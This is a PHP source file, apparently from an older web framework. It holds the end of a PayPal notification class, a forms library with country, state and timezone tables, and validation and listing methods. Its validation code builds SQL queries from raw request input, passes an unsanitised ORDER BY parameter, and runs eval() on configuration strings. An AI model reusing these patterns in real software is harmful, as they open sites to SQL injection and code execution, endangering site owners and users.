$_SERVER["REMOTE_ADDR"], ), "billing" => array( ), "shipping" => array( ), "payment" => array( "payment_status" => $data["payment_status"], "transid" => $data["txn_id"], "payment_type" => $data["payment_type"], "payment_date" => $data["payment_date"], "payer_id" => $data["payer_id"], "payer_email" => $data["payer_email"], "receiver_id" => $data["receiver_id"], "receiver_email" => $data["receiver_email"] ) ); } } /* $pp_account = "seller_1191584624_per@oxylus.ro"; switch ($_GET["sub"]) { case "notify": $paypal = new CPaypal($pp_account); $paypal->EnableTest(); break; case "pay": $test->SetUrls( "http://flashcomponents.clients.oxylus-development.com/pp/pp_success.php", "http://flashcomponents.clients.oxylus-development.com/pp/pp_cancel.php", "http://flashcomponents.clients.oxylus-development.com/pp/pp_notify.php" ); $test->OrderInfo( array( "id" => "OXD-3412-42323", "invoice" => "Flash Component order." ), array( 1 => array( "item" => "This is a test product" , "code" => "QWT20042", "qty" => "2", "amount" => "100", ), 2 => array( "item" => "Another Product" , "code" => "QWT321", "qty" => "19", "amount" => "20", ), 3 => array( "item" => "Last Product" , "code" => "QWT20044", "qty" => "1", "amount" => "10", "tax" => "2" ) ) ); $test->SetPrices(100); echo $test->__drawForm(); //echo $test->IPN($_GET); break; } */ ?>``` forms.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2010 OXYLUS Development web: www.oxylus-development.com mail: support@oxylus-development.com $Id: forms.php,v 0.0.1 03/03/2004 17:38:21 oxylus Exp $ forms generation class */ //dependencies require_once _LIBPATH . "library.php"; require_once _LIBPATH . "common.php"; require_once _LIBPATH . "template.php"; require_once _LIBPATH . "html.php"; require_once _LIBPATH . "config.php"; require_once _LIBPATH . "database.php"; //define ("_MSG_FORMS_UNCOMPLETE" , "Please fill in all required fields"); define ("_MSG_FORMS_UNCOMPLETE" , "Please verify the data is filled in correctly."); define ("_MSG_FORMS_UNIQUE" , " already exists."); define ("_MSG_FORMS_EXISTS" , " doesn't exists."); define ("_MSG_FORMS_FILEEXISTS" , " doesn't exists."); define ("_MSG_FORMS_WRONGSECURITY" , " Invalid security check."); define ("_FORMS_SETTINGS_FIELD_IMAGE_UPLOAD" , "flash"); // html for standard html upload or flash for flash widget define("_FORMS_ERROR_FILL" , "1"); define("_FORMS_ERROR_UNIQUE" , "2"); define("_FORMS_ERROR_CHECK" , "3"); define("_FORMS_ERROR_FILE" , "4"); define("_FORMS_ERROR_CONFIRM" , "5"); define("_FORMS_ERROR_EXISTS" , "6"); //not implemented yet, the opposite of unique=true $form_months = array (1 => "January" , "February" , "March" , "April" , "May" , "June" , "July" , "August" , "September" , "October" , "November" , "December"); $form_months_ro = array (1 => "Ianuarie" , "Februarie" , "Martie" , "Aprilie" , "Mai" , "Iunie" , "Iulie" , "August" , "Septembrie" , "Octombrie" , "Noiembrie" , "Decembrie"); $form_days = array (0 => "Sunday" , "Monday" , "Tuesday" , "Wensday" , "Thursday" , "Friday" , "Saturday"); $form_errors = array( "NO_BACK_LINK" => "javascript:alert('No previous link detected');" ); $form_RO_states = array( "AB" => "Alba", "AR" => "Arad", "AG" => "Arges", "BC" => "Bacau", "BH" => "Bihor", "BN" => "Bistrita-Nasaud", "BT" => "Botosani", "BR" => "Braila", "BV" => "Brasov", "B" => "Bucuresti", "BZ" => "Buzau", "CL" => "Calarasi", "CS" => "Caras Severin", "CJ" => "Cluj", "CT" => "Constanta", "CV" => "Covasna", "DB" => "Dambovita", "DJ" => "Dolj", "GL" => "Galati", "GR" => "Giurgiu", "GJ" => "Gorj", "HG" => "Harghita", "HD" => "Hunedoara", "IL" => "Ialomita", "IS" => "Iasi", "IF" => "Ilfov", "MM" => "Maramures", "MH" => "Mehedinti", "MR" => "Mures", "NT" => "Neamt", "OT" => "Olt", "PH" => "Prahova", "SJ" => "Salaj", "SM" => "Satu Mare", "SB" => "Sibiu", "SV" => "Suceava", "TE" => "Teleorman", "TM" => "Timis", "TL" => "Tulcea", "VL" => "Valcea", "VS" => "Vaslui", "VN" => "Vrancea" ); $form_CA_states = array( "Alberta" => "Alberta", "British" => "British", "Manitoba" => "Manitoba", "New Brunswick" => "New Brunswick", "Newfoundland" => "Newfoundland", "Northwest Territories" => "Northwest Territories", "Nova Scotia" => "Nova Scotia", "Nunavut" => "Nunavut", "Ontario" => "Ontario", "Prince Edward Island" => "Prince Edward Island", "Quebec" => "Quebec", "Saskatchewan" => "Saskatchewan", "Yukon" => "Yukon" ); $form_US_states = array ( "AL" => "Alabama", "AK" => "Alaska", "AZ" => "Arizona", "AR" => "Arkansas", "CA" => "California", "CO" => "Colorado", "CT" => "Connecticut", "DE" => "Delaware", "DC" => "Dist. of Columbia", "FL" => "Florida", "GA" => "Georgia", "HI" => "Hawaii", "ID" => "Idaho", "IL" => "Illinois", "IN" => "Indiana", "IA" => "Iowa", "KS" => "Kansas", "KY" => "Kentucky", "LA" => "Louisiana", "ME" => "Maine", "MD" => "Maryland", "MA" => "Massachusetts", "MI" => "Michigan", "MN" => "Minnesota", "MS" => "Mississippi", "MO" => "Missouri", "MT" => "Montana", "NE" => "Nebraska", "NV" => "Nevada", "NH" => "New Hampshire", "NJ" => "New Jersey", "NM" => "New Mexico", "NY" => "New York", "NC" => "North Carolina", "ND" => "North Dakota", "OH" => "Ohio", "OK" => "Oklahoma", "OR" => "Oregon", "PA" => "Pennsylvania", "PR" => "Puerto Rico", "RI" => "Rhode Island", "SC" => "South Carolina", "SD" => "South Dakota", "TN" => "Tennessee", "TX" => "Texas", "UT" => "Utah", "VT" => "Vermont", "VA" => "Virginia", "WA" => "Washington", "WV" => "West Virginia", "WI" => "Wisconsin", "WY" => "Wyoming" ); $form_countries = array( "AF" => "Afghanistan", "AL" => "Albania", "DZ" => "Algeria", "AS" => "American Samoa", "AD" => "Andorra", "AO" => "Angola", "AQ" => "Antartica", "AG" => "Antiqua and Barbuda", "AM" => "Armenia", "AR" => "Argentina", "AU" => "Australia", "AT" => "Austria", "AZ" => "Azerbaijan", "BS" => "Bahamas, The", "BH" => "Bahrain", "BD" => "Bangladesh", "BB" => "Barbados", "BY" => "Belarus", "BE" => "Belgium", "BZ" => "Belize", "BJ" => "Benin", "BM" => "Bermuda", "BT" => "Bhutan", "BO" => "Bolivia", "BW" => "Botswana", "BV" => "Bouvet Island", "BR" => "Brazil", "BQ" => "British Antartic Territory", "IO" => "British Indian Ocean Territory", "SB" => "British Solomon Islands", "VG" => "British Virgin Islands", "BN" => "Brunei", "BG" => "Bulgaria", "MM" => "Burma", "BI" => "Burundi", "KH" => "Cambodia", "CM" => "Cameroon", "CA" => "Canada", "CT" => "Canton and Enderbury Islands", "CV" => "Cape Verde Islands", "KY" => "Cayman Islands", "CF" => "Central African Republic", "TD" => "Chad", "CL" => "Chile", "CN" => "China, People's Republic of", "CX" => "Christmas Island", "CC" => "Cocos (Keeling) Islands", "CO" => "Colombia", "KM" => "Comoro Islands", "CG" => "Congo", "CK" => "Cook Islands", "CR" => "Costa Rica", "HR" => "Croatia", "CU" => "Cuba", "CY" => "Cyprus", "CZ" => "Czech Republic", "DY" => "Dahomey", "DK" => "Denmark", "DJ" => "Djibouti", "DM" => "Dominica", "DO" => "Dominican Republic", "NQ" => "Dronning Maud Land", "EC" => "Ecuador", "EG" => "Egypt", "SV" => "El Salvador", "GQ" => "Equitorial Guinea", "ER" => "Eritrea", "EE" => "Estonia", "ET" => "Ethiopia", "FO" => "Faeroe Islands", "FK" => "Falkland Islands (Malvinas)", "FJ" => "Fiji", "FI" => "Finland", "FR" => "France", "GF" => "French Guiana", "PF" => "French Polynesia", "FQ" => "French South and Antartic Territory", "AI" => "French Afars and Issas", "GA" => "Gabon", "GM" => "Gambia", "GE" => "Georgia", "DE" => "Germany", "GH" => "Ghana", "GI" => "Gibraltar", "GR" => "Greece", "GL" => "Greenland", "GD" => "Grenada", "GP" => "Guadeloupe", "GU" => "Guam", "GT" => "Guatemala", "GN" => "Guinea", "GW" => "Guinea Bissaw", "GY" => "Guyana", "HT" => "Haiti", "HM" => "Heard and McDonald Islands", "HN" => "Honduras", "HK" => "Hong Kong", "HU" => "Hungary", "IS" => "Iceland", "IN" => "India", "ID" => "Indonesia", "IR" => "Iran", "IQ" => "Iraq", "IE" => "Ireland", "IL" => "Israel", "IT" => "Italy", "CI" => "Ivory Coast", "JM" => "Jamaica", "JP" => "Japan", "JT" => "Johnston Island", "JO" => "Jordan", "KZ" => "Kazakhstan", "KE" => "Kenya", "KH" => "Khmer Republic", "KP" => "Korea, Democratic People's Republic of", "KR" => "Korea, Republic of", "KW" => "Kuwait", "KG" => "Kyrgystan", "LA" => "Laos", "LV" => "Latvia", "LB" => "Lebanon", "LS" => "Lesotho", "LR" => "Liberia", "LY" => "Libya", "LI" => "Liechtenstein", "LT" => "Lithuania", "LU" => "Luxembourg", "MO" => "Macao", "MG" => "Madagascar", "MW" => "Malawi", "MY" => "Malaysia", "MV" => "Maldives", "ML" => "Mali", "MT" => "Malta", "MH" => "Marshall Islands", "MQ" => "Martinique", "MR" => "Mauritania", "MU" => "Mauritius", "MX" => "Mexico", "FM" => "Micronesia", "MI" => "Midway Islands", "MD" => "Moldova", "MC" => "Monaco", "MN" => "Mongolia", "MS" => "Montserrat", "MA" => "Morocco", "MZ" => "Mozambique", "MM" => "Myanmar (formerly Burma)", "NA" => "Namibia", "NR" => "Nauru", "NP" => "Nepal", "NL" => "Netherlands", "AN" => "Netherlands Antilles", "NT" => "Neutral Zone", "NC" => "New Caledonia", "NH" => "New Hebrides", "NZ" => "New Zealand", "NI" => "Nicaragua", "NE" => "Niger", "NG" => "Nigeria", "NU" => "Niue Island", "NF" => "Norfolk Island", "NO" => "Norway", "OM" => "Oman", "PC" => "Pacific Island Trust Territory", "PK" => "Pakistan", "PW" => "Palau", "PA" => "Panama", "PZ" => "Panama Canal Zone", "PG" => "Papua New Guinea", "PY" => "Paraguay", "PE" => "Peru", "PH" => "Philippines", "PN" => "Pitcairn Islands", "PL" => "Poland", "PT" => "Portugal", "TP" => "Portuguese Timor", "PR" => "Puerto Rico", "QA" => "Qatar", "RE" => "Reunion Island", "RO" => "Romania", "RU" => "Russia", "RW" => "Rwanda", "SH" => "St. Helena", "KN" => "St. Kitts-Nevis-Anguilla", "LC" => "St. Lucia", "PM" => "St. Pierre and Miquelon", "VC" => "St. Vincent", "SM" => "San Marino", "ST" => "Sao Tome and Principe", "SA" => "Saudi Arabia", "SN" => "Senegal", "SC" => "Seychelles", "SL" => "Sierra Leone", "SG" => "Singapore", "SK" => "Slovakia", "SI" => "Slovenia", "SO" => "Somalia", "ZA" => "South Africa, Republic of", "ES" => "Spain", "EH" => "Spanish Sahara", "LK" => "Sri Lanka", "SD" => "Sudan", "SR" => "Suriname", "SJ" => "Svalbard and Jan Mayen Islands", "SZ" => "Swaziland", "SE" => "Sweden", "CH" => "Switzerland", "SY" => "Syria", "TW" => "Taiwan", "TJ" => "Tajikistan", "TZ" => "Tanzania", "TH" => "Thailand", "TG" => "Togo", "TK" => "Tokelau Island", "TO" => "Tonga", "TT" => "Trinidad and Tobago", "TN" => "Tunisia", "TR" => "Turkey", "TM" => "Turkmenistan", "TC" => "Turks and Caicos Islands", "TV" => "Tuvalu", "UG" => "Uganda", "UA" => "Ukraine", "AE" => "United Arab Emirates", "GB" => "United Kingdom", "US" => "United States", "PU" => "U.S. Miscellaneous Pacific Islands", "VI" => "U.S. Virgin Islands", "HV" => "Upper Volta", "UY" => "Uruguay", "UZ" => "Uzbekistan", "VU" => "Vanuatu", "VA" => "Vatican City State (The Holy See)", "VE" => "Venezuela", "VN" => "Vietnam", "WK" => "Wake Island", "WF" => "Wallis and Futuna Islands", "WS" => "Western Samoa", "YE" => "Yemen", "YD" => "Yemen, Democratic", "YU" => "Yugoslavia", "ZR" => "Zaire", "ZM" => "Zambia", "ZW" => "Zimbabwe" ); $form_timezones = array( "1" => "(UTC/GMT -12:00) Eniwetok, Kwajalein", "2" => "(UTC/GMT -11:00) Midway Island, Samoa", "3" => "(UTC/GMT -10:00) Hawaii", "4" => "(UTC/GMT -9:00) Alaska", "5" => "(UTC/GMT -8:00) Pacific Time (US & Canada); Tijuana", "6" => "(UTC/GMT -7:00) Arizona", "7" => "(UTC/GMT -7:00) Mountain Time (US & Canada)", "8" => "(UTC/GMT -6:00) Central America", "9" => "(UTC/GMT -6:00) Central Time (US & Canada)", "10" => "(UTC/GMT -6:00) Mexico City", "11" => "(UTC/GMT -6:00) Saskatchewan", "12" => "(UTC/GMT -5:00) Bogota, Lima, Quito", "13" => "(UTC/GMT -5:00) Eastern Time (US & Canada)", "14" => "(UTC/GMT -5:00) Indiana (East)", "15" => "(UTC/GMT -4:00) Atlantic Time (Canada)", "16" => "(UTC/GMT -4:00) Caracs, La Paz", "17" => "(UTC/GMT -4:00) Santiago", "18" => "(UTC/GMT -3:00) Brasilia", "19" => "(UTC/GMT -3:00) Buenos Aires, Georgetown", "20" => "(UTC/GMT -3:00) Greenland", "21" => "(UTC/GMT -3:30) Newfoundland", "22" => "(UTC/GMT -2:00) Mid-Atlantic", "23" => "(UTC/GMT -1:00) Azores", "24" => "(UTC/GMT -1:00) Cape Verde Is.", "25" => "(UTC/GMT 00:00) Casablanca, Monrovia", "26" => "(UTC/GMT 00:00) Greenwich Mean Time : Dublin, Edinburgh, Lisbon, London", "27" => "(UTC/GMT 01:00) Amsterdam, Berlin, Bern, Rome, Stockholm, Vienna", "28" => "(UTC/GMT 01:00) Belgrade, Bratislava, Budapest, Ljubljana, Prague", "29" => "(UTC/GMT 01:00) Brussels, Copenhagen, Madrid, Paris", "30" => "(UTC/GMT 01:00) Sarajevo, Skopje, Warsaw, Zagreb", "31" => "(UTC/GMT 01:00) West Central Africa", "32" => "(UTC/GMT 02:00) Athens, Istanbul, Minsk", "33" => "(UTC/GMT 02:00) Bucharest", "34" => "(UTC/GMT 02:00) Cairo", "35" => "(UTC/GMT 02:00) Harare, Pretoria", "36" => "(UTC/GMT 02:00) Helsinki, Riga, Tallinn", "37" => "(UTC/GMT 02:00) Jerusalem", "38" => "(UTC/GMT 02:00) Sofija", "39" => "(UTC/GMT 02:00) Vilnius", "40" => "(UTC/GMT 03:00) Baghdad", "41" => "(UTC/GMT 03:00) Kuwait, Riyadh", "42" => "(UTC/GMT 03:00) Moscow, St. Petersburg, Volgograd", "43" => "(UTC/GMT 03:00) Nairobi", "44" => "(UTC/GMT 03:30) Tehran", "45" => "(UTC/GMT 04:00) Abu Dhabi, Muscat", "46" => "(UTC/GMT 04:00) Baku, Tbilis, Yerevan", "47" => "(UTC/GMT 04:30) Kabul", "48" => "(UTC/GMT 05:00) Yekaterinburg", "49" => "(UTC/GMT 05:00) Islamabad, Karachi, Tashkent", "50" => "(UTC/GMT 05:30) Calcutta, Chennai, Mumbai, New Delhi", "51" => "(UTC/GMT 05:45) Kathmandu", "52" => "(UTC/GMT 06:00) Almaty, Novosibirsk", "53" => "(UTC/GMT 06:00) Astana, Dhaka", "54" => "(UTC/GMT 06:00) Sri Jayawardenepura", "55" => "(UTC/GMT 06:30) Rangoon", "56" => "(UTC/GMT 07:00) Bangkok, Hanoi, Jakarta", "57" => "(UTC/GMT 07:00) Krasnoyarsk", "58" => "(UTC/GMT 08:00) Beijing, Chongqing, Hong Kong, Urumqii", "59" => "(UTC/GMT 08:00) Irkutsk, Ulaan Bataar", "60" => "(UTC/GMT 08:00) Kuala Lumpur, Singapore", "61" => "(UTC/GMT 08:00) Perth", "62" => "(UTC/GMT 08:00) Taipei", "63" => "(UTC/GMT 09:00) Osaka, Sapporo, Tokoyo", "64" => "(UTC/GMT 09:00) Seoul", "65" => "(UTC/GMT 09:00) Yakutsk", "66" => "(UTC/GMT 09:30) Adelaide", "67" => "(UTC/GMT 09:30) Darwin", "68" => "(UTC/GMT 10:00) Brisbane", "69" => "(UTC/GMT 10:00) Canberra, Melbourne, Sydney", "70" => "(UTC/GMT 10:00) Guan, Port Moresby", "71" => "(UTC/GMT 10:00) Hobart", "72" => "(UTC/GMT 10:00) Vladivostok", "73" => "(UTC/GMT 11:00) Magadan, Solomon Is., New Caledonia", "74" => "(UTC/GMT 12:00) Aukland, Wellington", "75" => "(UTC/GMT 12:00) Fiji, Kamchatka, Marshal Is.", "76" => "(UTC/GMT 13:00) Nuku'alofa" ); /** * abstract library class * * @library Forms Auto Generations and validations library * @author oxylus [Emanuel Giurgea <emanuel@oxylus.ro>] * @since PHPbase 0.0.1 */ class CForm extends CLibrary{ //some default settings var $_textareaCols = 30; var $_textareaRows = 4; var $_textboxSize = 20; var $_textboxMaxLength = ""; var $textareaButtons = array ( "1" => "'cut' , 'copy' , 'paste' , 'separator' , 'undo' , 'redo' , 'separator' , 'removeformat' , 'toolbar' , 'bold' , 'italic' , 'underline' , 'strike' , 'superscript' , 'subscript' , 'insertorderedlist' , 'insertunorderedlist' , 'indent' , 'outdent' , 'inserthr'", "2" => "'font-family' , 'font-size' , 'justifyleft' , 'justifycenter' , 'justifyright' , 'justifyfull' , 'separator' , 'link' , 'resource'" ); var $__default = array ( "show" => array ( "phone" => array ("size" => "3,3,4"), "droplist" => array ("empty_msg" => "<i>N/A</i>" , "empty_text" => "[ select ]", "empty_text_show" => "<i>N/A</i>"), "radio" => array ("empty_text" => "[ none ]" , "empty_text_show" => "<i>N/A</i>") ), "list" => array( "fields" => array( "maxchars_text" => "[...]") ) ); /** * description * * @var type * * @access type */ var $db; /** * description array with all functions to be executed in various posittions in cform * * @var type * * @access type */ var $functions; /** * description * * @param * * @return * * @access */ function CForm($template , $db , $tables , $form = "") { parent::CLibrary("CForm"); //adding extra check if the file is a template or is a string if (!is_object($template)) { if (file_exists($template)) { $template = new CTemplate($template); } } //optionaly added $form if ($form != "") $this->form = $this->Process($form); $this->templates = $template; $this->db = $db; $this->tables = $tables; } /** * description * * @param * * @return * * @access */ function __render($data , $vars = array()) { $this->tpl_vars = array_merge($vars , (array)$this->tpl_vars); $this->tpl_vars['&amp;'] = "&"; if (is_array($this->tpl_vars )) { //inizialize a new template $tmp = new CTemplate($data , "string"); return $tmp->Replace($this->tpl_vars); } else return $data; } /** * description checking if the input is an array or an xml file * * @param * * @return * * @access */ function Process($input) { if (is_array($input)) { return $input; } else { if (file_exists($input)) { $xml = new CConfig($input); $xml->vars["form"]["xmlfile"] = $input ; return $xml->vars["form"]; } else return null; } } /** * description * * @param * * @return * * @access */ function ProcessLinks($link) { return CryptLink($link); } /** * description * * @param * * @return * * @access */ function Validate($form , $input) { global $_CONF; $form = CForm::Process($form); if (is_array($form["fields"])) { if ($input[$form["table_uid"]]) { $old_record = $this->db->QFetchArray("SELECT * FROM `" . $this->tables[$form["table"]] . "` WHERE `" . $form["table_uid"] . "`='" . $input[$form["table_uid"]] . "'" ); } foreach ($form["fields"] as $key => $val) if ( ($val["validate"] && $val["required"] && ($val["editable"] != "false")) || ($val["validate"] && !$val["required"] && ($val["editable"] != "false") && $input[$key]) ) { if ( ($val["protected"] && $old_record[$val["protected"]]) || ($val["restricted"] && $this->__isRestricted($val["restricted"])) ) { //do nothing, this is a field which doesnt need to apear } else { //prepare the field name $val["name"] = $val["name"] ? $val["name"] : $key; switch ($val["type"]) { case "ccard": case "creditcard": //group all the values $input[$val["name"]] = trim(@implode("" , $input[$val["name"] . "_arr"] )); $_valid_temp[] = strtoupper($val["name"]) . ":" . "I:16:16"; break; case "date": $input[$val["name"]] = mktime( $input[$val["name"] . "_hour"], $input[$val["name"] . "_minute"], $input[$val["name"] . "_second"], $input[$val["name"] . "_month"], $input[$val["name"] . "_day"], $input[$val["name"] . "_year"] ); //fix if the dates werent correct if ($input[$val["name"]] <= 0 ) $input[$val["name"]] = 0; $_valid_temp[] = strtoupper($val["name"]) . ":" . $val["validate"]; break; default: //check for exceptions if (stristr($val["validate"],"CC")) $val["validate"] = "CC:" . $input[$val["name"] . "_type"] . ":"; $_valid_temp[] = strtoupper($val["name"]) . ":" . $val["validate"]; break; case "phone": $_valid_temp[] = strtoupper($val["name"]) . ":" . "A:10:10"; $input[$val["name"]] = trim(@implode("" , $input[$val["name"] . "_arr"] )); break; case "relation": unset($_valid_temp); break; case "droplist": case "radio": case "radiolist": case "checklist": if (is_array($input[$val["name"]])) { $input[$val["name"]] = implode("," , $input[$val["name"]]); } $_valid_temp[] = strtoupper($val["name"]) . ":" . $val["validate"]; break; } } } if (is_array($_valid_temp) && count($_valid_temp)) { $validate = implode("," , $_valid_temp); } } //validate the input fields $result = ValidateVars($input ,$validate); $vars = array(); if (is_array($result)) { foreach ($result as $key => $val) { //get the name for the element $fld = trim(strtolower($val)); //check if it was refered if ($form["fields"][$fld]["referer"]) $fields["errors"][$form["fields"][$fld]["referer"]] = 1; $fields["errors"][$fld] = 1; } $fields["error"] = _MSG_FORMS_UNCOMPLETE; $fields["values"] = $input; $fields["errorCode"] = "1"; } else { //proceed to complex validation for unique fields if (is_array($form["fields"])) { foreach ($form["fields"] as $key => $val) { $name = $val["name"] ? $val["name"] : $key ; if (($val["type"] == "file") && ($val["required"] == "true")) { if (!is_array($_FILES[$name]) || (is_array($_FILES[$name]) && $_FILES[$name]["error"])) { $fields["error"] = _MSG_FORMS_UNCOMPLETE; $fields["values"] = $input; $fields["errorCode"] = "1"; $fields["errors"][$name] = 1; } } if ($val["unique"] == "true") { //check if this is an adding processor or editing one if ($input[$form["table_uid"]]) { $old_record = $this->db->QFetchArray("SELECT * FROM `" . $this->tables[$form["table"]] . "` WHERE `" . $form["table_uid"] . "`='" . $input[$form["table_uid"]] . "'" ); } $data = $this->db->QFetchArray("SELECT `$name` FROM `" . $this->tables[$form["table"]] . "` WHERE `" . $name . "` = '" . $input[$name] . "'"); if (((is_array($data) && is_array($old_record)) && ($data[$name] != $old_record[$name])) || (is_array($data) && !is_array($old_record))) { //preparing the message $fields["error"] = $val["unique_err"] ? $val["unique_err"] : $val["title"] . _MSG_FORMS_UNIQUE; $fields["errors"][$name] = 1; $fields["values"] = $input; $fields["errorCode"] = "2"; } } if ($val["exists"] == "true") { //check if this is an adding processor or editing one if ($input[$form["table_uid"]]) { $old_record = $this->db->QFetchArray("SELECT * FROM `" . $this->tables[$form["table"]] . "` WHERE `" . $form["table_uid"] . "`='" . $input[$form["table_uid"]] . "'" ); } $data = $this->db->QFetchArray("SELECT `$name` FROM `" . $this->tables[$form["table"]] . "` WHERE `" . $name . "` = '" . $input[$name] . "'"); if (!is_array($data)) { //preparing the message $fields["error"] = $val["unique_err"] ? $val["unique_err"] : $val["title"] . _MSG_FORMS_EXISTS; $fields["errors"][$name] = 1; $fields["values"] = $input; $fields["errorCode"] = "6"; } } if ($val["type"] == "checkIMG") { if ($_SESSION[$_CONF["site"]]["XML_verify_key"] != $_POST[$name]) { $fields["error"] = $fields["error"] ? $fields["error"] : _MSG_FORMS_WRONGSECURITY; $fields["errors"][$name] = 1; $fields["values"] = $input; $fields["errorCode"] = "3"; } } // search to see if is a vvalid file path if ($val["fileexists"] == "true") { $name = $val["name"] ? $val["name"] : $key ; if (!is_file($input[$name])) { //preparing the message $fields["error"] = $val["fileexists_err"] ? $val["fileexists_err"] : $val["title"] . ": \"$input[$name]\"" . _MSG_FORMS_FILEEXISTS; $fields["errors"][$name] = 1; $fields["values"] = $input; $fields["errorCode"] = "4"; } } //echo $input[$name . "_confirm"]; // search to see if is a vvalid file path if (($input[$name] != $input[$name . "_confirm"]) && is_array($form["fields"][$name . "_confirm"])) { if ($input[$name] != $input[$name . "_confirm"]) { //preparing the message $fields["error"] = "Password and confirmation doesnt match."; $fields["errors"][$name] = 1; $fields["errors"][$name . "_confirm"] = 1; $fields["values"] = $input; $fields["errorCode"] = "5"; } } } } } return is_array($fields) ? $fields : true; } /** * description * * @param * * @return * * @access */ function __simple_list_load_Records($form , $page = null) { if (!is_array($items) && is_object($this->db) && count($this->tables)) { //if no items and no sql then build an sql query right here if (!is_array($form["sql"])) { $form["sql"] = array( "vars" => array( "table" => array("type" => "table"), "page" => array("type" => "page"), "items" => array("type" => "form" , "var" => "items"), "order" => array("type" => "var" , "import" => $_GET["order"]), "order_mode" => array("type" => "var" , "import" => $_GET["order_mode"] && array_exists($_GET["order_mode"] , array("ASC" , "DESC" )) ? $_GET["order_mode"] : "ASC") ) ); $form["sql"]["query"] = "SELECT * FROM {TABLE} " . ($_GET["order"] ? "ORDER BY {ORDER} {ORDER_MODE}" : "") . " LIMIT {PAGE} , {ITEMS} "; $form["sql"]["count"] = array("table" => "{TABLE}" , "condition" => ""); } else { //force the $order and order mode to be after the data from the $_GET if ($form["sql"]["vars"]["order"] && $_GET["order"]) $form["sql"]["vars"]["order"]["import"] = $_GET["order"]; if ($form["sql"]["vars"]["order_mode"] && $_GET["order_mode"]) $form["sql"]["vars"]["order_mode"]["import"] = $_GET["order_mode"]; } if (is_array($form["sql"])) { if (is_array($form["sql"]["vars"])) { foreach ($form["sql"]["vars"] as $key => $val) { //echeking if the default must be evaluated if ($val["action"] == "eval") { eval("\$val[\"import\"] = " . $val["default"] .";"); } switch ($val["type"]) { case "eval": eval("\$sql_vars[\"$key\"] = " . $val["import"] . ";"); break; case "var": $sql_vars[$key] = $val["import"]; break; case "table": $sql_vars[$key] = $val["import"] ? $this->tables[$val["import"]] : $this->tables[$form["table"]]; $__tables[] = $key; break; case "page": if ($page != null) { $sql_vars[$key] = $page; } else { $sql_vars[$key] = ($_GET[($val["code"] ? $val["code"] : 'page')] -1 )* $form['items']; } break; case "form": $sql_vars[$key] = $form[$val["var"]]; break; } } foreach ($sql_vars as $key => $val) { $this->templates->blocks["Temp"]->input = $val; $sql_vars[$key] = $this->templates->blocks["Temp"]->Replace($sql_vars); $sql_vars[$key] = str_replace("]" , ">" , str_replace("[" , "<" , $sql_vars[$key])); } //doing a double replace, in case there are unreplaced variable sfom "vars" type $this->templates->blocks["Temp"]->input = $form["sql"]["query"]; $sql = $this->templates->blocks["Temp"]->Replace($sql_vars); //do a precheck for [] elements to be replaced with <> $sql = str_replace("]" , ">" , str_replace("[" , "<" , $sql)); $items = $this->db->QFetchRowArray($sql); //$items = $this->Query //processing the counting query if (is_array($form["sql"]["count"])) { //if no table is set then i use the default table' $form["sql"]["count"]["table"] = $form["sql"]["count"]["table"] ? $form["sql"]["count"]["table"] : $form["table"]; foreach ($form["sql"]["count"] as $key => $val) { $this->templates->blocks["Temp"]->input = $val; $form["sql"]["count"][$key] = $this->templates->blocks["Temp"]->Replace($sql_vars); } $count = $this->db->RowCount($form["sql"]["count"]["table"] , $form["sql"]["count"]["condition"] , $form["sql"]["count"]["select"] , $form["sql"]["count"]["fields"] ); } } } } $_GET["page"] = $_GET["page"] ? $_GET["page"] : 1; //auto index the element $start = $form["items"] * ($_GET["page"] ? $_GET["page"] - 1 : 0); $_old_count = $start + 1; if (is_array($items)) { foreach ($items as $key => $val) { $items[$key]["_count"] = ++$start; $items[$key]["original_count"] = $items[$key]["_count"] ; } } if (is_Array($items)) { return array( "items" => $items, "count" => $count ); } } /** * description * * @param * * @return * * @access */ function AjaxList($form , $items = "", $count = "", $extra = null , $search = false , $returnArray = false) { global $_CONF , $form_errors , $_USER , $form_countries, $form_months, $form_US_states, $form_RO_states, $form_CA_states; if (is_array($form["order"]) && ($form["order"]["drag"] == "true") && !$this->__isRestricted($form["order"]["restricted"])) { $form["fields"]["button_reorder"] = array( "type" => "button", "width" => "20", "align" => "center", "button" => $form["order"]["button"] ? $form["order"]["button"] : "reorder", "location" => "javascript:void(0);" ); } //add the extra button if order exists if (is_array($form["vars"])) { foreach ($form["vars"] as $key => $val) { //echeking if the default must be evaluated if ($val["action"] == "eval") { eval("\$val[\"import\"] = " . $val["default"] .";"); } switch ($val["type"]) { case "eval": eval("\$tpl_vars[\"$key\"] = " . $val["import"] . ";"); break; case "complex_eval": eval($val["import"]); break; case "var": $tpl_vars[$key] = $val["import"]; break; } } } //$tpl_vars = array_merge($tpl_vars); $global_vars = $this->GlobalVars($form); $records = $this->__simple_list_load_records($form); $items = $records["items"]; $count = $records["count"]; if ($returnArray == true) { return array( "items" => $items, "count" => $count ); } if (!count($items)) { return "empty"; } //check if ordering field is acctivated disable the reordering if (is_array($form["order"])) { $form["header"]["nolinks"] = "true"; } // debug($items); $_new_count = $start; $html = new CHtml(); $form = $this->Process($form); $template = &$this->templates; //this sux, building the template if (is_array($form["fields"])) { //prepare the fields list if ($form["sql"]["vars"]["fields"] != "") $__fields = explode("," , $form["sql"]["vars"]["fields"]); else { //read the fields from the table if (is_array($__tables) && is_object($this->db)) { $__fields = array(); foreach ($__tables as $_k => $_v) { $__fields = array_merge((array)$__fields , (array)$this->db->GetTableFields($sql_vars[$_v])); } } } $tmp_count = 0; foreach ($form["fields"] as $key => $val) { if (!($val["restricted"] && $this->__isRestricted($val["restricted"]))) { $tmp_count ++; $cell = array ( "width" => $val["width"], "align" => $val["align"], "value" => "{" . strtoupper($key) . "}", "valign" => $val["valign"] ? $val["valign"] : "middle", "final" => !is_array($form["buttons"]) && ($tmp_count == count($form["fields"])) ? "Final" : "", "first" => $tmp_count == 1 ? "First" : "", ); //add the alternance field here if ($form["valternance"] == "true") { $cell["_valternance"] = $this->_tmpVAlternance ? "2" : ""; $this->_tmpVAlternance = $this->_tmpVAlternance ? 0 : 1; } else $cell["_valternance"] = ""; $data .= $template->blocks["ListCell"]->Replace ( $cell ); if ($val["type"] == "multiple") $val["header"] = $template->blocks["SimpleListMultipleHeader"]->Replace(array( "name" => $val["field"], "start" => $_old_count, "end" => $_new_count )); //prepare the title $__title = ($val["header"] ? $val["header"] : "<img width=0 height=1 border=0/>"); if ($sql_vars["order"] == $key) $__sorting_mode = $_GET["order_mode"] == "ASC" ? "DESC" : "ASC"; else $__sorting_mode = "ASC"; //check if this forms allows the title to be sortable if ($form["header"]["nolinks"] == "true") { 